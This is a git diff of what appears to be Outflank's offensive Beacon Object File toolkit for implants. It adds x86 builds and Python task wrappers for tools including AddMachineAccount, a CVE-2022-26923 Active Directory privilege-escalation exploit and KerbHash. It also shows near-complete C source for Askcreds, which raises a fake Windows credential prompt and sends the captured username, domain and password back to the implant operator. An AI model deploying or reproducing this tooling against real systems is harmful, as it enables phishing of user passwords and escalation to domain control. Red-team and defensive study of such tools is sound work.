diff --git a/BOF/AddMachineAccount/MachineAccounts.cna b/BOF/AddMachineAccount/MachineAccounts.cna index 7a7ed10..025322e 100644 --- a/BOF/AddMachineAccount/MachineAccounts.cna +++ b/BOF/AddMachineAccount/MachineAccounts.cna @@ -17,7 +17,7 @@ alias GetMachineAccountQuota { $bid = $1; # Read in the right BOF file - $handle = openf(script_resource("GetMachineAccountQuota.o")); + $handle = openf(script_resource("GetMachineAccountQuota." . barch($bid) . ".o")); $data = readb($handle, -1); closef($handle); @@ -39,7 +39,7 @@ alias AddMachineAccount { } # Read in the right BOF file - $handle = openf(script_resource("AddMachineAccount.o")); + $handle = openf(script_resource("AddMachineAccount." . barch($bid) . ".o")); $data = readb($handle, -1); closef($handle); @@ -68,7 +68,7 @@ alias DelMachineAccount { } # Read in the right BOF file - $handle = openf(script_resource("DelMachineAccount.o")); + $handle = openf(script_resource("DelMachineAccount." . barch($bid) . ".o")); $data = readb($handle, -1); closef($handle); diff --git a/BOF/AddMachineAccount/MachineAccounts_bof.s1.py b/BOF/AddMachineAccount/MachineAccounts_bof.s1.py new file mode 100644 index 0000000..08b1dcd --- /dev/null +++ b/BOF/AddMachineAccount/MachineAccounts_bof.s1.py @@ -0,0 +1,65 @@ +from typing import List, Tuple + +from outflank_stage1.task.base_bof_task import BaseBOFTask +from outflank_stage1.task.enums import BOFArgumentEncoding + + +class AddMachineAccountBOF(BaseBOFTask): + def __init__(self): + super().__init__("AddMachineAccount") + + self.parser.description = ( + "Add a computer account to the Active Directory domain." + ) + self.parser.epilog = "Use Active Directory Service Interfaces (ADSI) to add a computer account to AD." + + self.parser.add_argument("computername", help="Computer name") + + self.parser.add_argument( + "password", + help="Password", + nargs="?", + ) + + def _encode_arguments_bof( + self, arguments: List[str] + ) -> List[Tuple[BOFArgumentEncoding, str]]: + parser_arguments = self.parser.parse_args(arguments) + + if parser_arguments.password is not None: + return [ + (BOFArgumentEncoding.WSTR, parser_arguments.computername), + (BOFArgumentEncoding.WSTR, parser_arguments.password), + ] + + return [(BOFArgumentEncoding.WSTR, parser_arguments.computername)] + + +class DelMachineAccountBOF(BaseBOFTask): + def __init__(self): + super().__init__("DelMachineAccount") + + self.parser.description = ( + "Remove a computer account from the Active Directory domain." + ) + self.parser.epilog = "Use Active Directory Service Interfaces (ADSI) to delete a computer account from AD." + + self.parser.add_argument("computername", help="Computer name") + + def _encode_arguments_bof( + self, arguments: List[str] + ) -> List[Tuple[BOFArgumentEncoding, str]]: + parser_arguments = self.parser.parse_args(arguments) + + return [(BOFArgumentEncoding.WSTR, parser_arguments.computername)] + + +class GetMachineAccountQuota(BaseBOFTask): + def __init__(self): + super().__init__("GetMachineAccountQuota") + + self.parser.description = ( + "Read the MachineAccountQuota value from the Active Directory domain." + ) + + self.parser.epilog = "Use Active Directory Service Interfaces (ADSI) to read the ms-DS-MachineAccountQuota value from AD." diff --git a/BOF/AddMachineAccount/SOURCE/AddMachineAccount.c b/BOF/AddMachineAccount/SOURCE/AddMachineAccount.c index e02f4d3..3c3abf9 100755 --- a/BOF/AddMachineAccount/SOURCE/AddMachineAccount.c +++ b/BOF/AddMachineAccount/SOURCE/AddMachineAccount.c @@ -24,9 +24,9 @@ void GenRandomStringW(LPWSTR lpFileName, INT len) { } void GetFormattedErrMsg(_In_ HRESULT hr) { - LPWSTR lpwErrorMsg = NULL; + LPWSTR lpwErrorMsg = NULL; - KERNEL32$FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_IGNORE_INSERTS, + KERNEL32$FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, (DWORD)hr, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), @@ -42,7 +42,7 @@ void GetFormattedErrMsg(_In_ HRESULT hr) { BeaconPrintf(CALLBACK_ERROR, "HRESULT 0x%08lx", hr); } - return; + return; } HRESULT CreateMachineAccount(_In_ LPCWSTR lpwComputername, _In_ LPCWSTR lpwPassword) { diff --git a/BOF/AddMachineAccount/SOURCE/Makefile b/BOF/AddMachineAccount/SOURCE/Makefile index 6d2ed72..6bc9e4a 100644 --- a/BOF/AddMachineAccount/SOURCE/Makefile +++ b/BOF/AddMachineAccount/SOURCE/Makefile @@ -1,13 +1,19 @@ SRC = $(wildcard *.c) OBJS = $(patsubst %.c, %.o, $(SRC)) +CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc +STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip +CFLAGS := -masm=intel all: $(OBJS) %.o: %.c - $(CC_x64) $(CFLAGS) -o ../$@ -c $< - $(STRIP_x64) --strip-unneeded ../$@ + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../*.o \ No newline at end of file + rm ../*.o diff --git a/BOF/Askcreds/Askcreds.cna b/BOF/Askcreds/Askcreds.cna index d84d60c..cfa84a8 100644 --- a/BOF/Askcreds/Askcreds.cna +++ b/BOF/Askcreds/Askcreds.cna @@ -10,7 +10,7 @@ alias Askcreds { $input = substr($0, 9); # Read in the right BOF file - $handle = openf(script_resource("Askcreds.o")); + $handle = openf(script_resource("Askcreds." . barch($bid) . ".o")); $data = readb($handle, -1); closef($handle); diff --git a/BOF/Askcreds/Askcreds_bof.s1.py b/BOF/Askcreds/Askcreds_bof.s1.py new file mode 100644 index 0000000..ddef46f --- /dev/null +++ b/BOF/Askcreds/Askcreds_bof.s1.py @@ -0,0 +1,39 @@ +import argparse +from typing import List, Tuple, Optional + +from outflank_stage1.implant import ImplantArch +from outflank_stage1.task.base_bof_task import BaseBOFTask +from outflank_stage1.task.enums import BOFArgumentEncoding + + +class AskCredsBOF(BaseBOFTask): + def __init__(self): + super().__init__("Askcreds", supported_architectures=[ImplantArch.INTEL_X64]) + + self.parser.description = ( + "Collect passwords using CredUIPromptForWindowsCredentialsName." + ) + + self.parser.add_argument( + "reason", + help="This reason is displayed as part of the prompt.", + nargs=argparse.REMAINDER, + ) + + self.parser.epilog = "Collect passwords by simply asking." + + def _encode_arguments_bof( + self, arguments: List[str] + ) -> List[Tuple[BOFArgumentEncoding, str]]: + parser_arguments = self.parser.parse_args(arguments) + + if parser_arguments.reason is None: + return [] + + return [(BOFArgumentEncoding.WSTR, " ".join(parser_arguments.reason))] + + def run(self, arguments: List[str]): + self.append_response( + "Askcreds BOF by Outflank, waiting max 60sec for user input...\n" + ) + super().run(arguments) diff --git a/BOF/Askcreds/SOURCE/Askcreds.c b/BOF/Askcreds/SOURCE/Askcreds.c index d268704..af7a050 100644 --- a/BOF/Askcreds/SOURCE/Askcreds.c +++ b/BOF/Askcreds/SOURCE/Askcreds.c @@ -8,13 +8,15 @@ #include "beacon.h" #define TIMEOUT 60 +#define MAX_NAME 8192 #define REASON L"Restore Network Connection" #define MESSAGE L"Please verify your Windows user credentials to proceed." BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam) { - CHAR chWindowTitle[1024]; - DWORD dwProcId = 0; + PCHAR pWindowTitle = NULL; + LPWSTR pExeName = NULL; + DWORD dwProcId = 0; if (!hWnd) { return TRUE; @@ -24,169 +26,191 @@ BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam) { return TRUE; } - LONG_PTR lStyle = USER32$GetWindowLongPtrA(hWnd, GWL_STYLE); - if (!USER32$GetWindowThreadProcessId(hWnd, &dwProcId)){ - return TRUE; - } - - MSVCRT$memset(chWindowTitle, 0, sizeof(chWindowTitle)); - if (!USER32$SendMessageA(hWnd, WM_GETTEXT, sizeof(chWindowTitle), (LPARAM)chWindowTitle)){ +#if defined(WOW64) + LONG_PTR lStyle = USER32$GetWindowLongA(hWnd, GWL_STYLE); +#else + LONG_PTR lStyle = USER32$GetWindowLongPtrA(hWnd, GWL_STYLE); +#endif + if (!USER32$GetWindowThreadProcessId(hWnd, &dwProcId)){ return TRUE; } - if (MSVCRT$_stricmp(chWindowTitle, "Windows Security") == 0) { - USER32$PostMessageA(hWnd, WM_CLOSE, 0, 0); - } - else if ((dwProcId == KERNEL32$GetCurrentProcessId()) && (WS_POPUPWINDOW == (lStyle & WS_POPUPWINDOW))){ - USER32$PostMessageA(hWnd, WM_CLOSE, 0, 0); - } - else{ - WCHAR szFileName[MAX_PATH] = { 0 }; - DWORD dwSize = MAX_PATH; - HANDLE hProcess = NULL; - - hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcId); - if (hProcess != NULL && hProcess != INVALID_HANDLE_VALUE){ - if (KERNEL32$QueryFullProcessImageNameW(hProcess, 0, szFileName, &dwSize)){ - if (SHLWAPI$StrStrIW(szFileName, L"CredentialUIBroker.exe")) { - USER32$PostMessageA(hWnd, WM_CLOSE, 0, 0); - } - } - } - - if (hProcess != NULL){ - KERNEL32$CloseHandle(hProcess); - } - } + pWindowTitle = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_NAME); + if (pWindowTitle == NULL) { + goto CleanUp; + } + + if (!USER32$SendMessageA(hWnd, WM_GETTEXT, MAX_NAME, (LPARAM)pWindowTitle)) { + goto CleanUp; + } + + if (MSVCRT$_stricmp(pWindowTitle, "Windows Security") == 0) { + USER32$PostMessageA(hWnd, WM_CLOSE, 0, 0); + } + else if ((dwProcId == KERNEL32$GetCurrentProcessId()) && (WS_POPUPWINDOW == (lStyle & WS_POPUPWINDOW))){ + USER32$PostMessageA(hWnd, WM_CLOSE, 0, 0); + } + else{ + DWORD dwSize = MAX_PATH; + HANDLE hProcess = NULL; + + hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcId); + if (hProcess != NULL && hProcess != INVALID_HANDLE_VALUE){ + pExeName = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH); + if (pExeName == NULL) { + goto CleanUp; + } + + if (KERNEL32$QueryFullProcessImageNameW(hProcess, 0, pExeName, &dwSize)) { + if (SHLWAPI$StrStrIW(pExeName, L"CredentialUIBroker.exe")) { + USER32$PostMessageA(hWnd, WM_CLOSE, 0, 0); + } + } + } + + if (hProcess != NULL){ + KERNEL32$CloseHandle(hProcess); + } + } + +CleanUp: + + if (pWindowTitle != NULL) { + KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pWindowTitle); + } + + if (pExeName != NULL) { + KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pExeName); + } return TRUE; } DWORD WINAPI AskCreds(_In_ LPCWSTR lpwReason) { - DWORD dwRet = 0; - HWND hWnd; - CREDUI_INFOW credUiInfo; - credUiInfo.pszCaptionText = lpwReason; - credUiInfo.pszMessageText = (LPCWSTR)MESSAGE; - credUiInfo.cbSize = sizeof(credUiInfo); - credUiInfo.hbmBanner = NULL; - credUiInfo.hwndParent = NULL; - - DWORD authPackage = 0; - WCHAR szUsername[MAXLEN]; - LPWSTR lpwPasswd = L""; - LPVOID inCredBuffer = NULL; - LPVOID outCredBuffer = NULL; - ULONG inCredSize = 0; - ULONG outCredSize = 0; - BOOL bSave = FALSE; + DWORD dwRet = 0; + HWND hWnd; + CREDUI_INFOW credUiInfo; + credUiInfo.pszCaptionText = lpwReason; + credUiInfo.pszMessageText = (LPCWSTR)MESSAGE; + credUiInfo.cbSize = sizeof(credUiInfo); + credUiInfo.hbmBanner = NULL; + credUiInfo.hwndParent = NULL; + + DWORD authPackage = 0; + WCHAR szUsername[MAXLEN]; + LPWSTR lpwPasswd = L""; + LPVOID inCredBuffer = NULL; + LPVOID outCredBuffer = NULL; + ULONG inCredSize = 0; + ULONG outCredSize = 0; + BOOL bSave = FALSE; ULONG nSize = sizeof(szUsername) / sizeof(WCHAR); if (SECUR32$GetUserNameExW(NameSamCompatible, szUsername, &nSize)) { - if (!CREDUI$CredPackAuthenticationBufferW(CRED_PACK_GENERIC_CREDENTIALS, (LPWSTR)szUsername, lpwPasswd, 0, &inCredSize) && KERNEL32$GetLastError() == ERROR_INSUFFICIENT_BUFFER) { - inCredBuffer = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, inCredSize); - if (inCredBuffer != NULL) { - if (!CREDUI$CredPackAuthenticationBufferW(CRED_PACK_GENERIC_CREDENTIALS, (LPWSTR)szUsername, lpwPasswd, inCredBuffer, &inCredSize)) { - KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, inCredBuffer); - inCredBuffer = NULL; - inCredSize = 0; - } - } - } - } - - hWnd = USER32$GetForegroundWindow(); - if (hWnd != NULL) { - credUiInfo.hwndParent = hWnd; - } - - dwRet = CREDUI$CredUIPromptForWindowsCredentialsW( - &credUiInfo, 0, - &authPackage, - inCredBuffer, - inCredSize, - &outCredBuffer, - &outCredSize, - &bSave, - CREDUIWIN_GENERIC | CREDUIWIN_CHECKBOX - ); - - if (dwRet == ERROR_SUCCESS) { - WCHAR szUsername[MAXLEN * sizeof(WCHAR)]; - WCHAR szPasswd[MAXLEN * sizeof(WCHAR)]; - WCHAR szDomain[MAXLEN * sizeof(WCHAR)]; - DWORD maxLenName = MAXLEN + 1; - DWORD maxLenPassword = MAXLEN + 1; - DWORD maxLenDomain = MAXLEN + 1; - - if (CREDUI$CredUnPackAuthenticationBufferW(0, outCredBuffer, outCredSize, szUsername, &maxLenName, szDomain, &maxLenDomain, szPasswd, &maxLenPassword)) { - if (MSVCRT$_wcsicmp(szDomain, L"") == 0) { - BeaconPrintf(CALLBACK_OUTPUT, - "[+] Username: %ls\n" - "[+] Password: %ls\n", szUsername, szPasswd); - - } - else { - BeaconPrintf(CALLBACK_OUTPUT, - "[+] Username: %ls\n" - "[+] Domainname: %ls\n" - "[+] Password: %ls\n", szUsername, szDomain, szPasswd); - } - } - - MSVCRT$memset(szUsername, 0, sizeof(szUsername)); - MSVCRT$memset(szPasswd, 0, sizeof(szPasswd)); - MSVCRT$memset(szDomain, 0, sizeof(szDomain)); - } - else if (dwRet == ERROR_CANCELLED) { - BeaconPrintf(CALLBACK_ERROR, "The operation was canceled by the user, try again ;)\n"); - } - else { - BeaconPrintf(CALLBACK_ERROR, "CredUIPromptForWindowsCredentialsW failed, error: %d\n", dwRet); - } - - if (inCredBuffer != NULL) { + if (!CREDUI$CredPackAuthenticationBufferW(CRED_PACK_GENERIC_CREDENTIALS, (LPWSTR)szUsername, lpwPasswd, 0, &inCredSize) && KERNEL32$GetLastError() == ERROR_INSUFFICIENT_BUFFER) { + inCredBuffer = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, inCredSize); + if (inCredBuffer != NULL) { + if (!CREDUI$CredPackAuthenticationBufferW(CRED_PACK_GENERIC_CREDENTIALS, (LPWSTR)szUsername, lpwPasswd, inCredBuffer, &inCredSize)) { + KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, inCredBuffer); + inCredBuffer = NULL; + inCredSize = 0; + } + } + } + } + + hWnd = USER32$GetForegroundWindow(); + if (hWnd != NULL) { + credUiInfo.hwndParent = hWnd; + } + + dwRet = CREDUI$CredUIPromptForWindowsCredentialsW( + &credUiInfo, 0, + &authPackage, + inCredBuffer, + inCredSize, + &outCredBuffer, + &outCredSize, + &bSave, + CREDUIWIN_GENERIC | CREDUIWIN_CHECKBOX + ); + + if (dwRet == ERROR_SUCCESS) { + WCHAR szUsername[MAXLEN + 1]; + WCHAR szPasswd[MAXLEN + 1]; + WCHAR szDomain[MAXLEN + 1]; + DWORD maxLenName = MAXLEN + 1; + DWORD maxLenPassword = MAXLEN + 1; + DWORD maxLenDomain = MAXLEN + 1; + + if (CREDUI$CredUnPackAuthenticationBufferW(0, outCredBuffer, outCredSize, szUsername, &maxLenName, szDomain, &maxLenDomain, szPasswd, &maxLenPassword)) { + if (MSVCRT$_wcsicmp(szDomain, L"") == 0) { + BeaconPrintf(CALLBACK_OUTPUT, + "[+] Username: %ls\n" + "[+] Password: %ls\n", szUsername, szPasswd); + + } + else { + BeaconPrintf(CALLBACK_OUTPUT, + "[+] Username: %ls\n" + "[+] Domainname: %ls\n" + "[+] Password: %ls\n", szUsername, szDomain, szPasswd); + } + } + + MSVCRT$memset(szUsername, 0, sizeof(szUsername)); + MSVCRT$memset(szPasswd, 0, sizeof(szPasswd)); + MSVCRT$memset(szDomain, 0, sizeof(szDomain)); + } + else if (dwRet == ERROR_CANCELLED) { + BeaconPrintf(CALLBACK_ERROR, "The operation was canceled by the user, try again ;)\n"); + } + else { + BeaconPrintf(CALLBACK_ERROR, "CredUIPromptForWindowsCredentialsW failed, error: %d\n", dwRet); + } + + if (inCredBuffer != NULL) { KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, inCredBuffer); } - return dwRet; + return dwRet; } VOID go(IN PCHAR Args, IN ULONG Length) { - HANDLE hThread = NULL; - DWORD ThreadId = 0; - DWORD dwTimeOut = TIMEOUT * 1000; - DWORD dwResult = 0; - LPCWSTR lpwReason = NULL; + HANDLE hThread = NULL; + DWORD ThreadId = 0; + DWORD dwTimeOut = TIMEOUT * 1000; + DWORD dwResult = 0; + LPWSTR lpwReason = NULL; - // Parse Arguments + // Parse Arguments datap parser; BeaconDataParse(&parser, Args, Length); lpwReason = (WCHAR*)BeaconDataExtract(&parser, NULL); - if (lpwReason == NULL) { - lpwReason = REASON; - } - - hThread = KERNEL32$CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)AskCreds, (LPVOID)lpwReason, 0, &ThreadId); - if (hThread == NULL) { - BeaconPrintf(CALLBACK_ERROR, "Failed to create AskCreds thread."); - return; - } - - dwResult = KERNEL32$WaitForSingleObject(hThread, dwTimeOut); - if (dwResult == WAIT_TIMEOUT) { - BeaconPrintf(CALLBACK_ERROR, "ThreadId: %d timed out, closing Window.", ThreadId); - if (!USER32$EnumWindows(EnumWindowsProc, (LPARAM)NULL)) { // Cancel operation by closing Window. - KERNEL32$TerminateThread(hThread, 0); // Only if WM_CLOSE failed, very dirty.. - return; - } - KERNEL32$WaitForSingleObject(hThread, 2000); // Wait a sec for thread to cleanup... - } - - if (hThread != NULL) { - KERNEL32$CloseHandle(hThread); - } + if (lpwReason == NULL) { + lpwReason = REASON; + } + + hThread = KERNEL32$CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)AskCreds, (LPVOID)lpwReason, 0, &ThreadId); + if (hThread == NULL) { + BeaconPrintf(CALLBACK_ERROR, "Failed to create AskCreds thread.\n"); + return; + } + + dwResult = KERNEL32$WaitForSingleObject(hThread, dwTimeOut); + if (dwResult == WAIT_TIMEOUT) { + BeaconPrintf(CALLBACK_ERROR, "ThreadId: %d timed out, closing Window.\n", ThreadId); + if (!USER32$EnumWindows(EnumWindowsProc, (LPARAM)NULL)) { // Cancel operation by closing Window. + KERNEL32$TerminateThread(hThread, 0); // Only if WM_CLOSE failed, very dirty.. + return; + } + KERNEL32$WaitForSingleObject(hThread, 2000); // Wait a sec for thread to cleanup... + } + + if (hThread != NULL) { + KERNEL32$CloseHandle(hThread); + } return; } diff --git a/BOF/Askcreds/SOURCE/Askcreds.h b/BOF/Askcreds/SOURCE/Askcreds.h index b74643b..90f3ad2 100644 --- a/BOF/Askcreds/SOURCE/Askcreds.h +++ b/BOF/Askcreds/SOURCE/Askcreds.h @@ -10,36 +10,36 @@ //CREDUI DECLSPEC_IMPORT DWORD WINAPI CREDUI$CredUIPromptForWindowsCredentialsW( - PCREDUI_INFOW pUiInfo, - DWORD dwAuthError, - ULONG *pulAuthPackage, - LPCVOID pvInAuthBuffer, - ULONG ulInAuthBufferSize, - LPVOID *ppvOutAuthBuffer, - ULONG *pulOutAuthBufferSize, - BOOL *pfSave, - DWORD dwFlags - ); + PCREDUI_INFOW pUiInfo, + DWORD dwAuthError, + ULONG *pulAuthPackage, + LPCVOID pvInAuthBuffer, + ULONG ulInAuthBufferSize, + LPVOID *ppvOutAuthBuffer, + ULONG *pulOutAuthBufferSize, + BOOL *pfSave, + DWORD dwFlags + ); DECLSPEC_IMPORT BOOL WINAPI CREDUI$CredUnPackAuthenticationBufferW( - DWORD dwFlags, - PVOID pAuthBuffer, - DWORD cbAuthBuffer, - LPWSTR pszUserName, - DWORD *pcchMaxUserName, - LPWSTR pszDomainName, - DWORD *pcchMaxDomainName, - LPWSTR pszPassword, - DWORD *pcchMaxPassword - ); + DWORD dwFlags, + PVOID pAuthBuffer, + DWORD cbAuthBuffer, + LPWSTR pszUserName, + DWORD *pcchMaxUserName, + LPWSTR pszDomainName, + DWORD *pcchMaxDomainName, + LPWSTR pszPassword, + DWORD *pcchMaxPassword + ); DECLSPEC_IMPORT BOOL WINAPI CREDUI$CredPackAuthenticationBufferW( - DWORD dwFlags, - LPWSTR pszUserName, - LPWSTR pszPassword, - PBYTE pPackedCredentials, - DWORD *pcbPackedCredentials - ); + DWORD dwFlags, + LPWSTR pszUserName, + LPWSTR pszPassword, + PBYTE pPackedCredentials, + DWORD *pcbPackedCredentials + ); //KERNEL32 WINBASEAPI HANDLE WINAPI KERNEL32$CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); @@ -67,6 +67,7 @@ WINUSERAPI WINBOOL USER32$PostMessageA(HWND hWnd, UINT Msg, WPARAM wParam, LPARA WINUSERAPI HWND USER32$GetForegroundWindow(); WINUSERAPI DWORD USER32$GetWindowThreadProcessId(HWND hWnd, LPDWORD lpdwProcessId); WINUSERAPI LONG_PTR USER32$GetWindowLongPtrA(HWND hWnd, int nIndex); +WINUSERAPI LONG_PTR USER32$GetWindowLongA(HWND hWnd, int nIndex); //SECUR32 WINBASEAPI BOOLEAN WINAPI SECUR32$GetUserNameExW(EXTENDED_NAME_FORMAT NameFormat, LPWSTR lpNameBuffer, PULONG nSize); diff --git a/BOF/Askcreds/SOURCE/Makefile b/BOF/Askcreds/SOURCE/Makefile index e3d1a61..6bc9e4a 100644 --- a/BOF/Askcreds/SOURCE/Makefile +++ b/BOF/Askcreds/SOURCE/Makefile @@ -1,10 +1,19 @@ -BOF := Askcreds +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) +CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc +STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip +CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).o -c $(BOF).c - $(STRIP_x64) --strip-unneeded ../$(BOF).o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../$(BOF).o + rm ../*.o diff --git a/BOF/CVE-2022-26923/CVE-2022-26923.cna b/BOF/CVE-2022-26923/CVE-2022-26923.cna index 87c94d1..c76d03e 100644 --- a/BOF/CVE-2022-26923/CVE-2022-26923.cna +++ b/BOF/CVE-2022-26923/CVE-2022-26923.cna @@ -20,7 +20,7 @@ alias CVE-2022-26923 { } # Read in the right BOF file - $handle = openf(script_resource("CVE-2022-26923.o")); + $handle = openf(script_resource("CVE-2022-26923." . barch($bid) . ".o")); $data = readb($handle, -1); closef($handle); diff --git a/BOF/CVE-2022-26923/CVE-2022-26923_bof.s1.py b/BOF/CVE-2022-26923/CVE-2022-26923_bof.s1.py new file mode 100644 index 0000000..bf190a8 --- /dev/null +++ b/BOF/CVE-2022-26923/CVE-2022-26923_bof.s1.py @@ -0,0 +1,39 @@ +from typing import List, Tuple + +from outflank_stage1.task.base_bof_task import BaseBOFTask +from outflank_stage1.task.enums import BOFArgumentEncoding + + +class CVE202226923BOF(BaseBOFTask): + def __init__(self): + super().__init__("CVE-2022-26923") + + self.parser.description = ( + "Active Directory Domain Privilege Escalation exploit." + ) + + self.parser.epilog = ( + "Use Active Directory Service Interfaces (ADSI) to add a computer account with dNSHostName attribute " + "set to the DC FQDN." + ) + + self.parser.add_argument("computername", help="Computer account name") + + self.parser.add_argument( + "password", + help="Password", + nargs="?", + ) + + def _encode_arguments_bof( + self, arguments: List[str] + ) -> List[Tuple[BOFArgumentEncoding, str]]: + parser_arguments = self.parser.parse_args(arguments) + + if parser_arguments.password is not None: + return [ + (BOFArgumentEncoding.WSTR, parser_arguments.computername), + (BOFArgumentEncoding.WSTR, parser_arguments.password), + ] + + return [(BOFArgumentEncoding.WSTR, parser_arguments.computername)] diff --git a/BOF/CVE-2022-26923/SOURCE/Makefile b/BOF/CVE-2022-26923/SOURCE/Makefile index 6d2ed72..6bc9e4a 100644 --- a/BOF/CVE-2022-26923/SOURCE/Makefile +++ b/BOF/CVE-2022-26923/SOURCE/Makefile @@ -1,13 +1,19 @@ SRC = $(wildcard *.c) OBJS = $(patsubst %.c, %.o, $(SRC)) +CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc +STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip +CFLAGS := -masm=intel all: $(OBJS) %.o: %.c - $(CC_x64) $(CFLAGS) -o ../$@ -c $< - $(STRIP_x64) --strip-unneeded ../$@ + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../*.o \ No newline at end of file + rm ../*.o diff --git a/BOF/Domaininfo/Domaininfo_bof.s1.py b/BOF/Domaininfo/Domaininfo_bof.s1.py new file mode 100644 index 0000000..c8814b5 --- /dev/null +++ b/BOF/Domaininfo/Domaininfo_bof.s1.py @@ -0,0 +1,9 @@ +from outflank_stage1.task.base_bof_task import BaseBOFTask + + +class DomainInfoBOF(BaseBOFTask): + def __init__(self): + super().__init__("Domaininfo") + self.parser.description = ( + "Using Active Directory Domain Services to enumerate domain information." + ) diff --git a/BOF/Domaininfo/SOURCE/Makefile b/BOF/Domaininfo/SOURCE/Makefile index f8a754e..6bc9e4a 100644 --- a/BOF/Domaininfo/SOURCE/Makefile +++ b/BOF/Domaininfo/SOURCE/Makefile @@ -1,15 +1,19 @@ -BOF := Domaininfo +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip +CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).x64.o -c $(BOF).c - $(STRIP_x64) --strip-unneeded ../$(BOF).x64.o - - $(CC_x86) -o ../$(BOF).x86.o -c $(BOF).c - $(STRIP_x86) --strip-unneeded ../$(BOF).x86.o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../$(BOF).*.o + rm ../*.o diff --git a/BOF/KerbHash/KerbHash.cna b/BOF/KerbHash/KerbHash.cna index db99683..f2c9ce4 100644 --- a/BOF/KerbHash/KerbHash.cna +++ b/BOF/KerbHash/KerbHash.cna @@ -23,7 +23,7 @@ alias KerbHash { } # Read in the right BOF file - $handle = openf(script_resource("KerbHash.o")); + $handle = openf(script_resource("KerbHash." . barch($bid) . ".o")); $data = readb($handle, -1); closef($handle); diff --git a/BOF/KerbHash/KerbHash_bof.s1.py b/BOF/KerbHash/KerbHash_bof.s1.py new file mode 100644 index 0000000..e373709 --- /dev/null +++ b/BOF/KerbHash/KerbHash_bof.s1.py @@ -0,0 +1,31 @@ +from typing import List, Tuple + +from outflank_stage1.task.base_bof_task import BaseBOFTask +from outflank_stage1.task.enums import BOFArgumentEncoding + + +class KerbHashBOF(BaseBOFTask): + def __init__(self): + super().__init__("KerbHash") + + self.parser.description = "Hash passwords to kerberos keys." + self.parser.epilog = ( + "Example usage:\n" + " - Hash useraccount password:\n" + " KerbHash Welcome123 adminuser domain.local\n" + " - Hash computeraccount password\n" + " KerbHash Welcome123 SERVER$ domain.local" + ) + + self.parser.add_argument("password", help="The password to hash.") + self.parser.add_argument("username", help="The username.") + self.parser.add_argument("domain", help="The domain.") + + def _encode_arguments_bof( + self, arguments: List[str] + ) -> List[Tuple[BOFArgumentEncoding, str]]: + return [ + (BOFArgumentEncoding.WSTR, arguments[0]), + (BOFArgumentEncoding.WSTR, arguments[1]), + (BOFArgumentEncoding.WSTR, arguments[2]), + ] diff --git a/BOF/KerbHash/SOURCE/KerbHash.c b/BOF/KerbHash/SOURCE/KerbHash.c index c12b9fd..58b2123 100644 --- a/BOF/KerbHash/SOURCE/KerbHash.c +++ b/BOF/KerbHash/SOURCE/KerbHash.c @@ -257,7 +257,7 @@ VOID go(IN PCHAR Args, IN ULONG Length) { } uSalt.MaximumLength = (USHORT)MSVCRT$wcslen(uSalt.Buffer) * sizeof(WCHAR); 